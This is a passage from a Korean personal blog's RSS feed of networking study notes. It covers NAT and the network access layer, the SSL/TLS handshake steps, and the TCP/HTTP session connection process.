&lt;td&gt;&lt;span&gt;대상 PC의 사양과 응답 속도가 중요&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;대표 사례&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;재택근무 시 사내 인트라넷 접속&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;기술 지원, 사무실 PC 원격 제어&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;6. 인터넷 통신 프로토콜&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;NAT : &lt;/span&gt;&lt;span&gt;내부&lt;/span&gt;&lt;span&gt; ip&lt;/span&gt;&lt;span&gt;를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;공인&lt;/span&gt;&lt;span&gt; ip&lt;/span&gt;&lt;span&gt;로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변환해주는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;주소&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변환&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로토콜&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Bridge : &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://developerin.tistory.com/18&quot;&gt;https://developerin.tistory.com/18&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Host-only : -&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;7. 네트워크 접근 계층&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;논리적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;주소인&lt;/span&gt;&lt;span&gt; ip&lt;/span&gt;&lt;span&gt;주소를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;물리적&lt;/span&gt;&lt;span&gt; mac&lt;/span&gt;&lt;span&gt;주소로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변환하고&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;에러&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제어와&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;흐름&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;제어를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수행한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;인접&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;노드&lt;/span&gt;&lt;span&gt; (point-to-point) &lt;/span&gt;&lt;span&gt;간&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연결&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;및&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;전송&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기능을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;한다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security</category>
      <category>ip #3계층 #인터넷 #프로토콜 #isp #서브넷팅</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/106</guid>
      <comments>https://jaehyun60.tistory.com/106#entry106comment</comments>
      <pubDate>Wed, 7 Jan 2026 22:16:54 +0900</pubDate>
    </item>
    <item>
      <title>HTTPS/SSL Handshake</title>
      <link>https://jaehyun60.tistory.com/105</link>
      <description>&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;학창시절에 관련 내용을 공부한 적이 있었지만,&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;간단한 개념 위주로만 공부한 것 같아 보다 심층적으로 공부한 내용을 정리해보고자 한다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span&gt;SSL HandShake&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;과정 요약&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;535&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdRJlW/dJMb9YpJhMa/mvOX58Bs7km0QT4b8X9fPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdRJlW/dJMb9YpJhMa/mvOX58Bs7km0QT4b8X9fPK/img.png&quot; data-alt=&quot;SSL HandShake&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdRJlW/dJMb9YpJhMa/mvOX58Bs7km0QT4b8X9fPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdRJlW%2FdJMb9YpJhMa%2FmvOX58Bs7km0QT4b8X9fPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;535&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;535&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;SSL HandShake&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. ClientHello : 통신 방식과 암호화 알고리즘을 서버에 제안하는 단계&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. ServerHello : 통신에서 사용할 암호화 방식과 세션 정보를 확정하는 단계&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. Certificate : 서버 인증서 전달 및 검증 단계&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. Server Key Exchange/ServerHelloDone&amp;nbsp; : 인증서에 공개키가 없을 경우 Server Key Exchange 단계에서 공개키를 클라이언트에 전달하고, ServerHelloDone을 통해 서버 초기 설정 완료를 알리는 단계&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;5. Client Key Exchange : 클라이언트가 생성한 Pre-Masteer-Secret을 서버 공개키로 암호화하여 서버에 전달하는 단계&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;6. Session Key Generation : 서버가 개인키로 Pre-Masteer-Secret을 복호화하여 동일하게 가지고 Master Secret을 만들어 세션 키를 생성하는 단계&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;7. ChangeCipherSpect/Finished : SSL/TLS Handshake 종료 및 통신 준비 완료 단계&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;참고 사항 : Client&lt;/span&gt;&lt;span&gt;는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Server&lt;/span&gt;를&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;3&lt;/span&gt;단계인&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Certificate&lt;/span&gt;과정을 통해서 검증하고&lt;span&gt;, Server&lt;/span&gt;는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Client&lt;/span&gt;를 통상적으로&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;SSL Handshake&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;과정에서 진행하지 않고&lt;span&gt;, ip,&lt;/span&gt;포트&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;로그인 정보 등으로 검증한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span&gt;SSL Handshake&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;의 상세 통신 과정&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;ClientHello :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;클라이언트가 서버와 안전한 통신을 시작하기 위해 연결을 요청하는 단계로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;다음과 같은 정보를 제공한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- TLS Version : Client&lt;/span&gt;&lt;span&gt;에서 지원하는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;TLS Version&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- Random Data : Client&lt;/span&gt;&lt;span&gt;에서 생성한 임의의 난수로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이후 세션 키 생성에 사용된다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- Session ID :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;최초&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Full Handshake&lt;/span&gt;를 위해 사용되는&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ID&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- Cipher Suites : Client&lt;/span&gt;&lt;span&gt;가 지원하는 암호화 알고리즘의 집합으로&lt;span&gt;, Server&lt;/span&gt;에&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Ciper Suites&lt;/span&gt;목록을 전송한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Server Hello :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;서버가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;ClientHello&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;패킷을 받아 클라이언트의&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Cipher Suite&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;중 하나를 선택하고 통신 환경을 확정하는 단계로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;다음과 같은 정보를 제공한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- Selected Suite :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;클라이언트가 제안한 암호화 방식 목록 중 서버가 선택한&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Ciper Suite&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- Random Data : Server&lt;/span&gt;&lt;span&gt;에서 생성한 임의의 난수로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이후 세션 키 생성에 사용된다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;클라이언트 인증서 요청&lt;span&gt;(&lt;/span&gt;선택 사항&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Certificate :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;서버가 자신의&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;SSL&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;인증서를 클라이언트에 전달하여 신원을 증명하는 단계로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;클라이언트가 인증서를 확인하고 서버를 신뢰할 수 있도록 다음과 같은 정보를 제공한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- Signature Value :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;클라이언트가&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;CA&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공개키를 사용해서 검증해야 할 값&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- SubjectPublicKeyInfo :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffff00; color: #000000;&quot;&gt;서버 공개키&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;가 포함된&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;SSL&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;인증서&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- Signature Algorithm :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인증서 서명&lt;span&gt;(Signature)&lt;/span&gt;과 알고리즘&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Server Key Exchange/ServerHelloDone :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이전 단계에서 인증서에 공개키가 포함되지 않은 경우 서버가 직접 공개키를 전달하며 포함된 경우 생략되는 단계이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이후 서버는 설정 완료를 알린다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;5.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Client Key Exchange :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;클라이언트는 안전한 통신을 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Pre-Master Secret&lt;/span&gt;이라는 임시 비밀 값을 생성하고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이것을 서버의 공개키를 통해 암호화하여 서버로 전송한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;6.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Session Key Generation :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;서버는 클라이언트로부터 전달받은&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Pre-Master Secret&lt;/span&gt;을 개인키로 해독하고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;서버와 클라이언트는 각각의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Random Data&lt;/span&gt;와 조합해&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Master Secret&lt;/span&gt;을 만들어 각자&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Session Key&lt;/span&gt;를 생성한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;7.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;ChangeCipherSpec / Finished :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;서버와 클라이언트는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;ChangeCipherSpec&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;패킷을 통해 최종 암호화 알고리즘과&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Session Key&lt;/span&gt;를 통해 암호화가 전환됨을 알리고&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Finished&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;패킷을 세션키로 암호화하여 교환함으로&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;SSL Handshake&lt;/span&gt;를 종료한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;이미지 출처 : Cloudflare (&lt;a href=&quot;https://www.cloudflare.com/ko-kr/learning/cdn/cdn-ssl-tls-security/)&quot;&gt;https://www.cloudflare.com/ko-kr/learning/cdn/cdn-ssl-tls-security/)&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Security</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/105</guid>
      <comments>https://jaehyun60.tistory.com/105#entry105comment</comments>
      <pubDate>Tue, 2 Dec 2025 12:42:38 +0900</pubDate>
    </item>
    <item>
      <title>네트워크 및 프로토콜 (2. HTTP 세션 연결 과정)</title>
      <link>https://jaehyun60.tistory.com/104</link>
      <description>&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;HTTP 이론 및 통신 과정&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 : 인터넷 접속을 위한 표준 프로토콜&lt;/li&gt;
&lt;li&gt;특징
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTTP는 TCP프로토콜을 사용하여 신뢰성 있게 데이터를 송수신한다.&lt;/li&gt;
&lt;li&gt;HTTP v1.0은 요청 -&amp;gt; 응답 이후 바로 연결을 종료하지만&lt;br /&gt;v1.1의 경우 어느정도 대기 후 연결을 종료한다. (keep-alive 방식)&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;HTTP는 기본적으로 state-less라는 특성을 가지고 있다. (HTTP 요청 -&amp;gt; 응답 간의 데이터를 저장하지 않음)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;클라이언트는 쿠키에 세션 ID를 저장하고, 서버는 세션에 사용자 상태를 저장하므로 웹은 stateful하게 작동한다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 특징들을 토대로 TCP 관점을 포함한 HTTP의 세션 연결 과정은 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JHOtQ/dJMcafSIro9/sORD4zLfbdMGVtOxhJvkf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JHOtQ/dJMcafSIro9/sORD4zLfbdMGVtOxhJvkf0/img.png&quot; data-alt=&quot;[2~4번은 tcp 3 way handshake과정이며 종료 과정은 tcp 4 way handshake이다.]&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JHOtQ/dJMcafSIro9/sORD4zLfbdMGVtOxhJvkf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJHOtQ%2FdJMcafSIro9%2FsORD4zLfbdMGVtOxhJvkf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;587&quot; height=&quot;875&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[2~4번은 tcp 3 way handshake과정이며 종료 과정은 tcp 4 way handshake이다.]&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. 웹 서버는 서비스 포트(80)를 개방 후 클라이언트의 요청이 오기 전까지 대기한다. (Listening)&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. 클라이언트는 웹 서버 접속 요청(SYN)을 시도한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. 서버는 요청에 대한 응답(SYN+ACK)를 전송한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. 클라이언트는 응답에 대한 확인 메시지(ACK)를 전송한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;5. 예를 들어 TCP 헤더의 플래그 중 TCP-PUSH일 경우 빠른 처리를 위해 HTTP-GET 페이지를 요청한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;6. 서버 측은 클라이언트 요청에 대한 점검을 한다. (해당 Checksum을 통한 무결성 확인은 TCP에서 수행한다.)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;7. 요청 HTML 페이지를 클라이언트에 전송한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;8. 클라이언트는 전송 데이터를 점검한다. (해당 Checksum을 통한 무결성 확인은 TCP에서 수행한다.)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;9. Http는 statless하므로 세션 상태를 기억하지 않아 세션을 종료한다는 개념이 없어, TCP close로 세션을 종료한다.&amp;nbsp; &amp;nbsp;&lt;/p&gt;</description>
      <category>Security</category>
      <category>#http #통신 #통신 과정 #tcp #80 #웹</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/104</guid>
      <comments>https://jaehyun60.tistory.com/104#entry104comment</comments>
      <pubDate>Thu, 27 Nov 2025 13:56:57 +0900</pubDate>
    </item>
    <item>
      <title>네트워크 및 프로토콜 (1. OSI 7 Layer)</title>
      <link>https://jaehyun60.tistory.com/103</link>
